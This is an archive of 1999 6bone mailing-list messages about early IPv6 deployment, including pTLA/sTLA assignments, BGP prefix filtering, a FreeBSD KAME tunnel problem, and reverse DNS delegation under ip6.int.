Jan  1998 - discussions begin between IAB/IETF, IANA, ARIN, APNIC and
RIPE-NCC on policy to assign production TLAs
Jul  1998 - RFC 2374, An IPv6 Aggregatable Global Unicast Address Format,
published as Proposed Standard
Aug  1998 - First requests for SubTLAs (sTLA) made to ARIN, APNIC and RIPE-NCC
Jul  1999 - Oslo IETF - Final policy on assigning sTLAs reached (July 14)
	<http://www.arin.net/ipv6/IPv6.txt>

Jul 20 1999 - First sTLA request (by ESnet) made under new policy submitted
to ARIN 
Jul 21 1999 - First sTLA request approved (for ESnet) by ARIN (July 21)
pending billing
Jul 31 1999 - First IPv6 production prefix (sTLA = 2001:0400::/35) assigned
(to ESnet)

-end

From 6bone-owner  Sat Aug  7 04:36:45 1999
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Date: Sat, 7 Aug 1999 20:41:28 +0900
From: Woohyong Choi <whchoi@cosmos.kaist.ac.kr>
To: 6bone@ISI.EDU
Subject: current filtering too hostile for new prefixes?
Message-ID: <19990807204128.B24351@cosmos.kaist.ac.kr>
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Greetings!  I'm in charge of the new pTLA APAN-KR (3ffe:8040::/28)
and have been trying to get stable routing during the past week. 

What I realized is that many of the 6bone routers already have
very strict filter rules in place, and route advertizement from
my primary peer 6TAP didn't get through most of you.

Could you please update your filters to permit this prefix
accepted (and even redistributed)?

This led me to also think about "what is a good filtering policy
for 6bone routers?"

This is my current configuration for import filter. (for Zebra
and hopefully for Cisco too?)

neighbor <PEER> prefix-list import in
!
ip prefix-list import seq 5 permit 3ffe::/16 le 28 ge 24
ip prefix-list import seq 10 permit 2010::/16
ip prefix-list import seq 99 deny any

My intension is to be more forgiving for what I receive and
to be more strict in what I'm sending out.  I have to list
up every prefix I send out.

Any comments?

Thanks,
-whchoi

From 6bone-owner  Mon Aug  9 17:40:37 1999
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Date: Mon, 9 Aug 1999 17:40:32 -0700 (PDT)
Message-Id: <199908100040.RAA21209@southstation.m5p.com>
From: george+6bone@m5p.com
To: 6bone@ISI.EDU
Subject: FreeBSD 3.2 + KAME SNAP 02 August 1999
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Status: RO

I'm running FreeBSD version 3.2, and I'v installed the KAME SNAP
patches from 02 August 1999.

I've been able to run IP6 fairly successfully on my local Ethernet, but
when I arranged a 6over4 tunnel to the 6bone, I find that the system
is completely confused about the incoming packets.  I ping6 the other
end of my tunnel, and tcpdump correctly reports the encapsulated
echo requests and echo replies, but my kernel gives me a pile of

icmp6_input: unknown type <n>

where n is a random number apparently between 0 and 255, for each
echo request.  Is there anyone else out there using FreeBSD 3.2 and
KAME who has seen this?  Should I revert to FreeBSD 3.1 just so I
can get an official KAME release?

(Ping6 and tcpdump handle the unencapsulated packets on the local
ethernet without difficulty.)

-- George Mitchell (george+ip6@m5p.com)


From 6bone-owner  Mon Aug  9 19:48:42 1999
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Date:   Tue, 10 Aug 1999 04:47:51 +0200
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: 6bone@ISI.EDU
Subject: shared pTLA?
Message-ID: <19990810044751.A21807@burza.icm.edu.pl>
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I would like to share our pTLA prefix with another site in Poland. Working
together we will get more redundancy and more involvement from this other
group. I am considering various options:

- they could propagate our prefix as a pNLA - this is forbidden by routing
  rules, even more explicitely in recent draft
- they could use our ASN for propagating pTLA prefix simultaneously (if the
  software allows) with their pNLA prefixes (using a separate ASN for this)
- provider's branch option (testing 'provider buys another provider' on 6BONE:)
  - their router could work just as our another router, only placed in another
  city

I think there is no problem with 3rd option, would not insist on breaking rules
by using 1st, I wonder if 2nd is legitimate. What do you think, would we need
anything more than negotiate the setups with BGP peers (to make them pass pTLA
prefix and filter out the pNLA prefixes)?

R.

From 6bone-owner  Mon Aug  9 22:31:31 1999
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From: george+6bone@m5p.com
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Subject: FreeBSD 3.2 + KAME STABLE 19990809
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>From shin@nd.net.fujitsu.co.jp  Mon Aug  9 18:43:09 1999
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To: george+6bone@m5p.com
Cc: 6bone@ISI.EDU
Subject: Re: FreeBSD 3.2 + KAME SNAP 02 August 1999
In-Reply-To: <199908100040.RAA21209@southstation.m5p.com>
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Date: Tue, 10 Aug 1999 10:42:46 +0900
From: Yoshinobu Inoue <shin@nd.net.fujitsu.co.jp>
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I wrote:

>> I'm running FreeBSD version 3.2, and I've installed the KAME SNAP
>> patches from 02 August 1999.

Yoshinobu Inoue wrote:

> KAME/FreeBSD32 for 02 August 1999 version has a bug in icmp6
> error message handling. Which may let system panic, or cause
> unpredictable problem.

> There are patches for that. Please apply it at first (or use 09
> August version), if not yet applied.

I got KAME stable release for FreeBSD 3.2 earlier this evening and
rebuilt.  There was no change in behavior.


Itojun wrote:

>	Could you give us the configuration diagram of your setup?
>	Notice that KAME does not have 6over4 code yet, so configuration
>	that throws 6over4 packet toward KAME box does not work.
>	(see kit/IMPLEMENTATION for supported/unsupported items)

kit/IMPLEMENTATION section 1.5 says:

1.5 Generic tunnel interface

GIF (Generic InterFace) is a pseudo interface for configured tunnel.
Details are described in gif(4) manpage.
Currently
	v6 in v6
	v6 in v4
	v4 in v6
	v4 in v4
are available.  Use "gifconfig" to assign physical (outer) source
and destination address to gif interfaces.

Here is my configuration:
Ethernet interface ed0 connects to local network running unencapsulated
IPv6.  It seems to work, to the limited extent that I've tested it.

Ethernet interface xl0 (3Com 3C905) connects only to Cisco 675 ADSL
router-bridge in bridge mode to DSL ISP, running IPv4 only.  I have
an IPv6-in-IPv4 tunnel to NWNET.

ifconfig xl0:

xl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet6 fe80:1::210:5aff:fea9:3338 prefixlen 64 
	inet 209.162.215.52 netmask 0xffffff00 broadcast 209.162.215.255
	inet6 3ffe:a00:0:160:210:5aff:fea9:3338 prefixlen 64 
	inet6 3ffe:a00:0:160:: prefixlen 64 anycast 
	ether 00:10:5a:a9:33:38 
	media: 100baseTX <full-duplex>

gifconfig gif0:

gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
	inet6 fe80:4::210:5aff:fea9:3338  prefixlen 64 
	inet6 3ffe:a00:2:2::1e --> 3ffe:a00:2:2::1d  prefixlen 126 
	physical address inet 209.162.215.52 --> 192.220.249.249

When I "ping6 3ffe:a00:2:2::1d", instead of getting replies, I get the
following messages from the kernel:

icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 0
icmp6_input: unknown type 50
icmp6_input: unknown type 32

Meanwhile, tcpdump host 192.220.249.249 says:

tcpdump: listening on xl0
22:26:45.124259 southstation.m5p.com > lo0.nwnet-6bone-gw.nw.verio.net: 3ffe:a00:2:2::1e > 3ffe:a00:2:2::1d: icmp6: echo request (encap)
22:26:45.159733 lo0.nwnet-6bone-gw.nw.verio.net > southstation.m5p.com: 3ffe:a00:2:2::1d > 3ffe:a00:2:2::1e: icmp6: echo reply (encap)
22:26:46.124120 southstation.m5p.com > lo0.nwnet-6bone-gw.nw.verio.net: 3ffe:a00:2:2::1e > 3ffe:a00:2:2::1d: icmp6: echo request (encap)
22:26:46.158128 lo0.nwnet-6bone-gw.nw.verio.net > southstation.m5p.com: 3ffe:a00:2:2::1d > 3ffe:a00:2:2::1e: icmp6: echo reply (encap)
22:26:47.114115 southstation.m5p.com > lo0.nwnet-6bone-gw.nw.verio.net: 3ffe:a00:2:2::1e > 3ffe:a00:2:2::1d: icmp6: echo request (encap)
22:26:47.147930 lo0.nwnet-6bone-gw.nw.verio.net > southstation.m5p.com: 3ffe:a00:2:2::1d > 3ffe:a00:2:2::1e: icmp6: echo reply (encap)
22:26:48.114148 southstation.m5p.com > lo0.nwnet-6bone-gw.nw.verio.net: 3ffe:a00:2:2::1e > 3ffe:a00:2:2::1d: icmp6: echo request (encap)
22:26:48.150301 lo0.nwnet-6bone-gw.nw.verio.net > southstation.m5p.com: 3ffe:a00:2:2::1d > 3ffe:a00:2:2::1e: icmp6: echo reply (encap)
22:26:49.114149 southstation.m5p.com > lo0.nwnet-6bone-gw.nw.verio.net: 3ffe:a00:2:2::1e > 3ffe:a00:2:2::1d: icmp6: echo request (encap)
22:26:49.146042 lo0.nwnet-6bone-gw.nw.verio.net > southstation.m5p.com: 3ffe:a00:2:2::1d > 3ffe:a00:2:2::1e: icmp6: echo reply (encap)
22:26:50.114158 southstation.m5p.com > lo0.nwnet-6bone-gw.nw.verio.net: 3ffe:a00:2:2::1e > 3ffe:a00:2:2::1d: icmp6: echo request (encap)
22:26:50.148386 lo0.nwnet-6bone-gw.nw.verio.net > southstation.m5p.com: 3ffe:a00:2:2::1d > 3ffe:a00:2:2::1e: icmp6: echo reply (encap)
22:26:51.114172 southstation.m5p.com > lo0.nwnet-6bone-gw.nw.verio.net: 3ffe:a00:2:2::1e > 3ffe:a00:2:2::1d: icmp6: echo request (encap)
22:26:51.149426 lo0.nwnet-6bone-gw.nw.verio.net > southstation.m5p.com: 3ffe:a00:2:2::1d > 3ffe:a00:2:2::1e: icmp6: echo reply (encap)

What this says to me is that the tunnel is up, ping6 can send packets
through it to NWNET, NWNET is responding to the packets, the replies
are arriving at the xl0 interface, but then they're getting lost in
the stack.  Help!

-- George Mitchell (george+6bone@m5p.com)


From 6bone-owner  Tue Aug 10 09:34:17 1999
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To: Woohyong Choi <whchoi@cosmos.kaist.ac.kr>
cc: 6bone@ISI.EDU
Subject: Re: current filtering too hostile for new prefixes? 
In-reply-to: Your message of "Sat, 07 Aug 1999 20:41:28 +0900."
             <19990807204128.B24351@cosmos.kaist.ac.kr> 
Date: Tue, 10 Aug 1999 09:34:08 -0700
From: "Rebecca L. Nitzan" <nitzan@es.net>
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Hi:

While you're updating filter lists, add the new 6tap pTLA of 
3ffe:3900/24.

I think we need to filter on specific prefix, the problem is that
there is not enough usage/user-complaints to put the appropriate 
mechanisms in place to make sure the filter lists are up-to-date 
(like we all make damn sure work for ipv4).

One way to stay ahead of the ptla assignment game, is to add a few
subsequent number assignments in advance; doesn't hurt anything to 
do that.

			-- Becca


>Greetings!  I'm in charge of the new pTLA APAN-KR (3ffe:8040::/28)
>and have been trying to get stable routing during the past week. 
>
>What I realized is that many of the 6bone routers already have
>very strict filter rules in place, and route advertizement from
>my primary peer 6TAP didn't get through most of you.
>
>Could you please update your filters to permit this prefix
>accepted (and even redistributed)?
>
>This led me to also think about "what is a good filtering policy
>for 6bone routers?"
>
>This is my current configuration for import filter. (for Zebra
>and hopefully for Cisco too?)
>
>neighbor <PEER> prefix-list import in
>!
>ip prefix-list import seq 5 permit 3ffe::/16 le 28 ge 24
>ip prefix-list import seq 10 permit 2010::/16
>ip prefix-list import seq 99 deny any
>
>My intension is to be more forgiving for what I receive and
>to be more strict in what I'm sending out.  I have to list
>up every prefix I send out.
>
>Any comments?
>
>Thanks,
>-whchoi

From 6bone-owner  Tue Aug 10 22:04:33 1999
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Date: Tue, 10 Aug 1999 22:01:41 -0700
To: Rafal Maszkowski <rzm@icm.edu.pl>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: shared pTLA?
In-Reply-To: <19990810044751.A21807@burza.icm.edu.pl>
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Rafal,

At 04:47 AM 8/10/99 +0200, Rafal Maszkowski wrote:
>I would like to share our pTLA prefix with another site in Poland. Working
>together we will get more redundancy and more involvement from this other
>group. I am considering various options:
>
>- they could propagate our prefix as a pNLA - this is forbidden by routing
>  rules, even more explicitely in recent draft
>- they could use our ASN for propagating pTLA prefix simultaneously (if the
>  software allows) with their pNLA prefixes (using a separate ASN for this)
>- provider's branch option (testing 'provider buys another provider' on
6BONE:)
>  - their router could work just as our another router, only placed in another
>  city
>
>I think there is no problem with 3rd option, would not insist on breaking
rules
>by using 1st, I wonder if 2nd is legitimate. What do you think, would we need
>anything more than negotiate the setups with BGP peers (to make them pass pTLA
>prefix and filter out the pNLA prefixes)?

No one else seems to have responded to you, so I'll try. In my simple view
if you want to both share the same pTLA, you are both are agreeing to act
as one network. This means to me same ASN, same BGP4+ policies to your
peers, and literally running both sets of routers as if they are one and
the same network. Essentailly your third option above.


Bob


From 6bone-owner  Thu Aug 12 11:25:05 1999
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To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
Subject: FYI: IPv6 Forum Deployment Technical Directorate
Date: Thu, 12 Aug 1999 14:24:54 -0400
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------- Forwarded Message

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To: deployment@ipv6.org, members@ipv6forum.com
cc: bound@zk3.dec.com, perry@piermont.com, tim@mentat.com,
        peter@jazz-1.trumpet.com.au, cmj@nsd.3com.com, mccann@zk3.dec.com,
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        Charles.Perkins@eng.sun.com
Subject: IPv6 Forum Deployment Technical Directorate Initial Members
Date: Thu, 12 Aug 1999 13:49:49 -0400
X-Mts: smtp

Folks,

Perry and I would like to notify you that we have identified the initial 
Technical Directorate members and we also felt it important to ask 
Sr. Technical folks who have been around IPv6 and networks for some time 
to be part of the Directorate as Advisors.  See other caveats below too. 
The list is as follows:

IPv6 Deployment Technical Directorate.

Jim Bound & Co-Chair              
Perry Metzger & Co-Chair
Tim Hartrick                      
Peter Tattam
Cyndi Jung                        
Jack McCann
Brian Zill                        
Francis Dupont
Marc Blanchet                     
Dale Finkelson
Thomas Eckland                    
Stig Venass
Brian Haberman
Matt Crawford
Bob Halley

Advisors:
Bob Hinden
Steve Deering
Brian Carpenter
Allison Mankin
Christian Huitema
Bob Fink
Charlie Perkins
Scott Bradner

We still are awaiting responses from other folks for the
Directorate and have run into vacation times we believe.  These folks
are doing this for free and here are some caveats we will use to guide
the Directorate:             

1.  The Tech Directorate will be a body to do a logic check on all technical
materials and deployment strategies by the IPv6 Forum in their fever to
get IPv6 deployed, which is presented to the market.  It will also do 
education.   

2.  The Tech Directorate will make recommendations on deploymemnt and
implementation tradeoffs for deployment if those kind of problems arise
too, as it releates to IPv6 Forum marketing.

3. The Tech Directorate if it finds errors in IPv6 in their work above will
relay that back to the IETF.  The Directorate is not to ever become
anything like the ATM Forum nor define protocols for IPv6.

4. The Tech Direcorate also is autonoumous to the IPv6 Forum so we have no
Kings or Queens either, the Directorate is a complimentary body to the
IPv6 Forum.

5. Tech Directorate members will do presentations and be on hand for 
IPv6 Forum activities when possible but that is not required as a Tech
Directorate member.  For some cases it may be required that the IPv6
Forum pay for the Travel/Expense for Tech Directorate members when they
do not work for large corporate enterprises, if possible.

6.  The Tech Directorate will have a mail list soon that folks can use
which Marc Blanchet will set up soon.  It is perceived the Tech
Directorate will have scheduled con-calls to meet and discuss issues
about every 6 weeks and as required.  Tech Directorate members should be
at IETF meetings as that event can be a place to huddle as a team.

7.  The only real differentiation in the Advisor role is they are not
expected to do "work" consistently as required by other members as most
of them are busy in this space in other areas, but to help advise us on
the tough deployment technical issues where there are multiple choices.
We would like to note that some requests for members were turned down
by the person contacted because there is some work load here, this is not 
expected of the Advisors.

8.  Tech Directorate members must be technical and an active 
participant for the deployment of IPv6 in some manner which can be 
research, product implememntation, significant IETF IPv6 contributions, 
network managment and opertions DRI, etc....

9.  Other roles to evolve if necessary or adjuncts to the these caveats.

Sincerely,
/jim and p.m.  


------- End of Forwarded Message


From 6bone-owner  Thu Aug 12 22:31:26 1999
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Date: Thu, 12 Aug 1999 22:31:14 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8050::/28 assigned to MIBH
Cc: Stephen Stuart <stuart@tech.org>, Bill Manning <bmanning@ISI.EDU>
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After the requisite review period, MIBH has been assigned pTLA 3FFE:8050::/28.

 <http://www.6bone.net/6bone_pTLA_list.html>

 <http://www.ip.qwest.net/~david/cgi-bin/whois?mibh>


Bob

From 6bone-owner  Fri Aug 13 01:10:11 1999
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To: 6bone@ISI.EDU
Subject: Two updates from WIDE
From: Akira Kato <kato@wide.ad.jp>
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1. We got 2001:200::/35 sTLA block from APNIC. We will start
   renumbering soon.
2. Third (?) internet exchange point has been bootstraped in Tokyo
   called as "NSPIXP-6". Currently 4 ASs are connected. See
   http://www.wide.ad.jp/nspixp6/

-- Akira Kato, WIDE Project


From 6bone-owner  Fri Aug 13 04:43:56 1999
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This is a multi-part message in MIME format.

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leave 6bone

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From 6bone-owner  Fri Aug 13 06:16:39 1999
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Date: Fri, 13 Aug 1999 06:05:29 -0700
To: Akira Kato <kato@wide.ad.jp>
From: Bob Fink <fink@es.net>
Subject: Re: Two updates from WIDE
Cc: 6tap-eng@viagenie.qc.ca, 6BONE List <6bone@ISI.EDU>
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Akira,

At 05:10 PM 8/13/99 +0900, Akira Kato wrote:
>
>1. We got 2001:200::/35 sTLA block from APNIC. We will start
>   renumbering soon.

Wonderful. This appears to be the very first APNIC allocation.


>2. Third (?) internet exchange point has been bootstraped in Tokyo
>   called as "NSPIXP-6". Currently 4 ASs are connected. See
>   http://www.wide.ad.jp/nspixp6/

This is good. Presumably this would be the peering partner for the 6TAP in
Japan over the existing ATM path? We should add a pointer to this page on
the 6tap.net pages.


Thanks,

Bob

From 6bone-owner  Mon Aug 16 06:23:30 1999
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Date: Sun, 15 Aug 1999 12:04:18 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
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To: Bob Fink <fink@es.net>
CC: Akira Kato <kato@wide.ad.jp>, 6tap-eng@viagenie.qc.ca,
        6BONE List <6bone@ISI.EDU>
Subject: Re: Two updates from WIDE
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Akira,

It would be really useful to get a complete report on your
experience with renumbering (time spent, problems found, etc.)

   Brian

Bob Fink wrote:
> 
> Akira,
> 
> At 05:10 PM 8/13/99 +0900, Akira Kato wrote:
> >
> >1. We got 2001:200::/35 sTLA block from APNIC. We will start
> >   renumbering soon.
> 
> Wonderful. This appears to be the very first APNIC allocation.
> 
> >2. Third (?) internet exchange point has been bootstraped in Tokyo
> >   called as "NSPIXP-6". Currently 4 ASs are connected. See
> >   http://www.wide.ad.jp/nspixp6/
> 
> This is good. Presumably this would be the peering partner for the 6TAP in
> Japan over the existing ATM path? We should add a pointer to this page on
> the 6tap.net pages.
> 
> Thanks,
> 
> Bob

-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter (IAB Chair)
Program Director, Internet Standards & Technology, IBM Internet Div
On assignment for IBM at http://www.iCAIR.org 
Non-IBM email: brian@icair.org



From 6bone-owner  Tue Aug 17 16:24:19 1999
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Date: Tue, 17 Aug 1999 16:17:43 -0700
To: 6bone@ISI.EDU
From: Cyndi Jung <cmj@3com.com>
Subject: replacement ipv6-site object in 6bone registry
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For whom it may concern,

I took control of our 6bone site here at 3Com a couple of months
ago, and in the course of this I noticed that we had not been
keeping our site documentation up to date.  Also, we did not have
a DNS server to keep AAAA records in, and had no web server to
describe our site.  So, I had a summer intern, Sonum Mathur, work 
on the DNS server and web server for me (thanks to any of you that 
gave him help this summer), and in the course of this it became 
clear that we needed a separate domain name to provide us with full 
authority over our names.  That in turn led ultimately to the re-creation 
of the ipv6-site object in the registry.

So, I am happy to announce the new ipv6-site object 6COM, and the 
web site <http://www.6com.net> that is probably still in need of 
work but is getting closer.

I have some tunnels with some folks - I will be sending them mail
begging them to change their ipv6-site objects to reflect the new
name of the 3Com IPv6 site - 6COM.

Thanks,

Cyndi

From 6bone-owner  Tue Aug 17 20:40:00 1999
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Date: Wed, 18 Aug 1999 13:41:12 +1000 (EST)
From: Bruce Campbell <bruce.campbell@apnic.net>
To: 6BONE List <6bone@ISI.EDU>
Subject: Re: Two updates from WIDE
In-Reply-To: <4.1.19990813060032.00bee480@imap2.es.net>
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On Fri, 13 Aug 1999, Bob Fink wrote:

fink> Akira,
fink> 
fink> At 05:10 PM 8/13/99 +0900, Akira Kato wrote:
fink> >
fink> >1. We got 2001:200::/35 sTLA block from APNIC. We will start
fink> >   renumbering soon.
fink> 
fink> Wonderful. This appears to be the very first APNIC allocation.

It is indeed and the only APNIC IPv6 assignment so far.  Congratulations ;)

On a related note, APNIC is also putting the reverse delegations for IPv4
and IPv6 as the matching in-addr.arpa and ip6.int domain objects into the
APNIC whois database and generating the appropriate zone files daily.

	ie: whois -h whois.apnic.net 0.0.0.2.0.1.0.0.2.ip6.int

As IPv6 is relatively new, does anyone have comments on how to manage IPv6
reverse delegations?  Bear in mind that a human editing the zone files is
*not* an option ;) .  

--==--
Bruce.

Sysadmin, APNIC.





From 6bone-owner  Tue Aug 17 23:53:17 1999
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Date: Wed, 18 Aug 1999 16:52:02 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Bruce Campbell <bruce.campbell@apnic.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Two updates from WIDE
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On Wed, 18 Aug 1999, Bruce Campbell wrote:

> On Fri, 13 Aug 1999, Bob Fink wrote:
> 
> fink> Akira,
> fink> 
> fink> At 05:10 PM 8/13/99 +0900, Akira Kato wrote:
> fink> >
> fink> >1. We got 2001:200::/35 sTLA block from APNIC. We will start
> fink> >   renumbering soon.
> fink> 
> fink> Wonderful. This appears to be the very first APNIC allocation.
> 
> It is indeed and the only APNIC IPv6 assignment so far.  Congratulations ;)
> 
> On a related note, APNIC is also putting the reverse delegations for IPv4
> and IPv6 as the matching in-addr.arpa and ip6.int domain objects into the
> APNIC whois database and generating the appropriate zone files daily.
> 
> 	ie: whois -h whois.apnic.net 0.0.0.2.0.1.0.0.2.ip6.int
> 
> As IPv6 is relatively new, does anyone have comments on how to manage IPv6
> reverse delegations?  Bear in mind that a human editing the zone files is
> *not* an option ;) .  

BTW, on the reverse delegation issue, it was a hot issue recently on ipng.
Most of us are stuck with manual editing at the moment.  I believe there sin't
a real concensus yet on the best way to manage automatic delegation.   I can
send you some templates of what I do manually though.

> 
> --==--
> Bruce.
> 
> Sysadmin, APNIC.
> 
> 
> 
> 
> 

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Wed Aug 18 00:05:32 1999
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From: Bruce Campbell <bruce.campbell@apnic.net>
To: Peter Tattam <peter@jazz-1.trumpet.com.au>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Reverse DNS, IPv6
In-Reply-To: <Pine.BSF.3.96.990818165005.28128D-100000@jazz-1.trumpet.com.au>
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On Wed, 18 Aug 1999, Peter Tattam wrote:

peter> > On a related note, APNIC is also putting the reverse delegations for IPv4
peter> > and IPv6 as the matching in-addr.arpa and ip6.int domain objects into the
peter> > APNIC whois database and generating the appropriate zone files daily.
peter> > 
peter> > 	ie: whois -h whois.apnic.net 0.0.0.2.0.1.0.0.2.ip6.int
peter> > 
peter> > As IPv6 is relatively new, does anyone have comments on how to manage IPv6
peter> > reverse delegations?  Bear in mind that a human editing the zone files is
peter> > *not* an option ;) .  
peter> 
peter> BTW, on the reverse delegation issue, it was a hot issue recently on ipng.
peter> Most of us are stuck with manual editing at the moment.  I believe there sin't
peter> a real concensus yet on the best way to manage automatic delegation.   I can
peter> send you some templates of what I do manually though.

After re-reading the ipng mails, the debate seemed to be more in dealing
with reverse delegations for individual hosts.  My concern is more with
the 'lofty' (so to speak) delegations as done by the registries, or by
ISPs to customer sites.  I doubt that we'd would ever be using dhcp for
such delegations (scary).

--==--
Bruce.

Sysadmin, APNIC.


From 6bone-owner  Wed Aug 18 00:23:02 1999
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Date: Wed, 18 Aug 1999 17:22:51 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Bruce Campbell <bruce.campbell@apnic.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Reverse DNS, IPv6
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On Wed, 18 Aug 1999, Bruce Campbell wrote:

> On Wed, 18 Aug 1999, Peter Tattam wrote:
> 
> peter> > On a related note, APNIC is also putting the reverse delegations for IPv4
> peter> > and IPv6 as the matching in-addr.arpa and ip6.int domain objects into the
> peter> > APNIC whois database and generating the appropriate zone files daily.
> peter> > 
> peter> > 	ie: whois -h whois.apnic.net 0.0.0.2.0.1.0.0.2.ip6.int
> peter> > 
> peter> > As IPv6 is relatively new, does anyone have comments on how to manage IPv6
> peter> > reverse delegations?  Bear in mind that a human editing the zone files is
> peter> > *not* an option ;) .  
> peter> 
> peter> BTW, on the reverse delegation issue, it was a hot issue recently on ipng.
> peter> Most of us are stuck with manual editing at the moment.  I believe there sin't
> peter> a real concensus yet on the best way to manage automatic delegation.   I can
> peter> send you some templates of what I do manually though.
> 
> After re-reading the ipng mails, the debate seemed to be more in dealing
> with reverse delegations for individual hosts.  My concern is more with
> the 'lofty' (so to speak) delegations as done by the registries, or by
> ISPs to customer sites.  I doubt that we'd would ever be using dhcp for
> such delegations (scary).
> 
> --==--
> Bruce.
> 
> Sysadmin, APNIC.
> 
> 

It would just be a matter of allocating according to the RFC's I guess.  Mind
you not being aligned to 4 bit boundaries is a right pain which is I guess your
question. Were they going to fix that?  It ended up being fixed in the 6bone.
Until A6 is available in software, things will be a bit of a pain. 

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Wed Aug 18 07:56:08 1999
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To: Bruce Campbell <bruce.campbell@apnic.net>
CC: 6BONE List <6bone@ISI.EDU>
Subject: Re: Two updates from WIDE
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Bruce Campbell wrote:
> 
> On a related note, APNIC is also putting the reverse delegations for IPv4
> and IPv6 as the matching in-addr.arpa and ip6.int domain objects into the
> APNIC whois database and generating the appropriate zone files daily.
> 
>         ie: whois -h whois.apnic.net 0.0.0.2.0.1.0.0.2.ip6.int
> 
> As IPv6 is relatively new, does anyone have comments on how to manage IPv6
> reverse delegations?  Bear in mind that a human editing the zone files is
> *not* an option ;) .

 There's a product called 'webmin' that manages IPv4 DNS entries (both
forward and reverse) which comes with source.  It could probably be
modified to include AAAA records and manage a reverse name pool with
very little overhead.  It's also inexpensive (free for now; low triple
digit $ in the future).


From 6bone-owner  Wed Aug 18 16:08:30 1999
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Subject: subtla ip6.int greenlight
To: 6bone@ISI.EDU, namedroppers@internic.net
Date: Wed, 18 Aug 1999 16:08:14 -0700 (PDT)
Cc: bruce.campbell@apnic.net, paulg@apnic.net, kimh@arin.net, kerr@arin.net,
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Hi,
	I received this note today.
	-------------------------------------------------
Date: Wed, 18 Aug 1999 15:40:04 -0700

Bill,

You have the green light for IN-ADDR delegations of IPv6 sub-TLAs.
The new IPv6 files are on the IANA website.

Thanks.
	--------------------------------------------------

	APNIC:

Aug 18 15:19:16 dot named[210]: slave zone "2.0.1.0.0.2.ip6.int" (IN) loaded (se
rial 1999081601)
ug 18 15:19:19 dot named[210]: slave zone "3.0.1.0.0.2.ip6.int" (IN) loaded (se
rial 1999073001)

	ARIN:
Aug 18 15:19:23 dot named[210]: Err/TO getting serial# for "4.0.1.0.0.2.ip6.int"
Aug 18 15:19:24 dot named-xfer[31504]: [192.149.252.21] not authoritative for 4.
0.1.0.0.2.ip6.int, SOA query got rcode 0, aa 0, ancount 0, aucount 13
Aug 18 15:19:37 dot named[210]: Err/TO getting serial# for "5.0.1.0.0.2.ip6.int"
Aug 18 15:19:38 dot named-xfer[31505]: [192.149.252.21] not authoritative for 5.
0.1.0.0.2.ip6.int, SOA query got rcode 0, aa 0, ancount 0, aucount 13

	RIPE:

Aug 18 15:19:14 dot named[210]: slave zone "7.0.1.0.0.2.ip6.int" (IN) loaded (serial 1999073001)
Aug 18 15:19:46 dot named[210]: slave zone "6.0.1.0.0.2.ip6.int" (IN) loaded (serial 1999081702)


--bill

From 6bone-owner  Thu Aug 19 00:08:53 1999
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Date: Thu, 19 Aug 1999 09:08:44 +0200
To: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU, brian@hursley.ibm.com
From: Alain Durand <Alain.Durand@imag.fr>
Subject: 6to4 TLA
Cc: Bob Fink <fink@es.net>, tonyhain@microsoft.com
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Hi Folks,

I just received a note from IANA saying that they have approved
the delegation of TLA 0x2002 to 6to4.

Note: this is not the same TLA number as the one we have
been using in the early test period. So people using
the "old" 6to4 TLA 0x2010 will have to renumber.

	- Alain.


From 6bone-owner  Thu Aug 19 11:10:27 1999
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Subject: Re: subtla ip6.int greenlight
To: kerr@arin.net
Date: Thu, 19 Aug 1999 11:10:08 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU, namedroppers@internic.net,
        bruce.campbell@apnic.net, paulg@apnic.net, kimh@arin.net, mir@ripe.net,
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> Bill,
> 
> I've looked at our zone files, and corrected an error in the SOA field. 
> Your named-xfer should (hopefully) work properly now. 

	Thanks!

> In the future, it would probably be easier on everyone if you first
> contacted me (or Kim) directly if there's a technical problem.  This DNS
> issue is the kind of bootstrapping problem I was hoping to avoid when I
> tried contacting you last month.

	You did tell me that these were working servers. Just like 
	the RIPE & APNIC folks told me they had working servers.
	Just in a hurry to get the DNS piece working since ARIN, 
	along with the other RIRs have been busy delegating sub-blocks
	for a couple of weeks now.


--bill

From 6bone-owner  Wed Aug 25 19:34:01 1999
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Date: Thu, 26 Aug 1999 11:37:11 +0900
From: ksb <ksbn@kt.co.kr>
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How are you?

Could you send me a E-mail for how to be the member?

Sincerely,
Sahng-Beom Kim

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Wed Aug 25 21:09:09 1999
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Date: Wed, 25 Aug 1999 21:07:27 -0700
To: ksbn@kt.co.kr, 6bone@ISI.EDU
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At 11:37 AM 8/26/99 +0900, ksb wrote:
>How are you?
>
>Could you send me a E-mail for how to be the member?

See the <http://www.6bone.net> page for mail list info.

Bob

From 6bone-owner  Mon Aug 30 02:04:02 1999
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To: 6bone@ISI.EDU
